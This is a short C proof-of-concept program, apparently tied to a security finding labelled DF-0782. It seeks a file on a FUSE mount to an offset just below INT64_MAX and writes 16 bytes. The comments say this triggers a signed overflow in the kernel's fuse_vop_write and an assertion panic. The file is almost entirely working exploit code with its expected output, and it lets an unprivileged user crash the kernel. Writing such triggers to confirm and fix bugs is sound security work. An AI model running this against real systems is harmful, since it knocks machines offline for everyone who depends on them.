DF-0782 / write_trigger.c
/* * DF-0782 โ unprivileged write trigger. * * Opens a file on a (root-mounted) FUSE filesystem, seeks to an offset * near INT64_MAX, and writes a small buffer. This drives * fuse_vop_write() with: * * uio->uio_offset = 0x7FFFFFFFFFFFFFF0 (off_t, signed, just below INT64_MAX) * uio->uio_resid = 16 (size_t, unsigned) * * which overflows at fuse_vnops.c:1469 (newsize) and again at :1529 * (uio->uio_offset + len), reaching fuse_reg_resize(vp, INT64_MIN, 0) * and the KKASSERT(newsize >= 0) panic at :1972. * * Build: cc -O0 -g -o write_trigger write_trigger.c * Run: ./write_trigger /mnt/fuse/target * * The trigger itself needs no privilege โ any user able to open the file * for writing will do. (Setting up the FUSE mount is root-only, matching * the finding's stated preconditions.) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sys/types.h> /* offset just below INT64_MAX, chosen so offset + 16 == 0x8000000000000000 * (== INT64_MIN as a signed off_t) โ the exact wrap the finding describes. */ #define TRIGGER_OFFSET ((off_t)0x7FFFFFFFFFFFFFF0LL) #define TRIGGER_LEN 16 int main(int argc, char **argv) { const char *path; int fd; unsigned char buf[TRIGGER_LEN]; ssize_t w; off_t after; if (argc != 2) { fprintf(stderr, "usage: %s <fuse-file>\n", argv[0]); return 2; } path = argv[1]; fprintf(stderr, "[trigger] opening %s (O_WRONLY)\n", path); fd = open(path, O_WRONLY); if (fd < 0) { perror("open"); return 1; } fprintf(stderr, "[trigger] lseek to 0x%016llx (=%lld)\n", (unsigned long long)TRIGGER_OFFSET, (long long)TRIGGER_OFFSET); after = lseek(fd, TRIGGER_OFFSET, SEEK_SET); if (after < 0) { perror("lseek"); close(fd); return 1; } fprintf(stderr, "[trigger] file offset now 0x%016llx\n", (unsigned long long)after); memset(buf, 'A', sizeof(buf)); fprintf(stderr, "[trigger] writing %d bytes -> offset+resid wraps to " "0x8000000000000000 (INT64_MIN)\n", TRIGGER_LEN); fprintf(stderr, "[trigger] expect: kernel panic (KKASSERT newsize>=0)\n"); w = write(fd, buf, sizeof(buf)); /* If we reach here the kernel survived โ on the unpatched kernel the * write() never returns (the KKASSERT fires synchronously inside * fuse_vop_write -> fuse_reg_resize). */ fprintf(stderr, "[trigger] write returned %zd (errno=%d %s)\n", w, errno, strerror(errno)); if (w < 0) { perror("write"); } else { fprintf(stderr, "[trigger] NOTE: kernel did NOT panic โ either fixed " "or the overflow was rejected (EINVAL/EFBIG).\n"); } close(fd); return 0; } |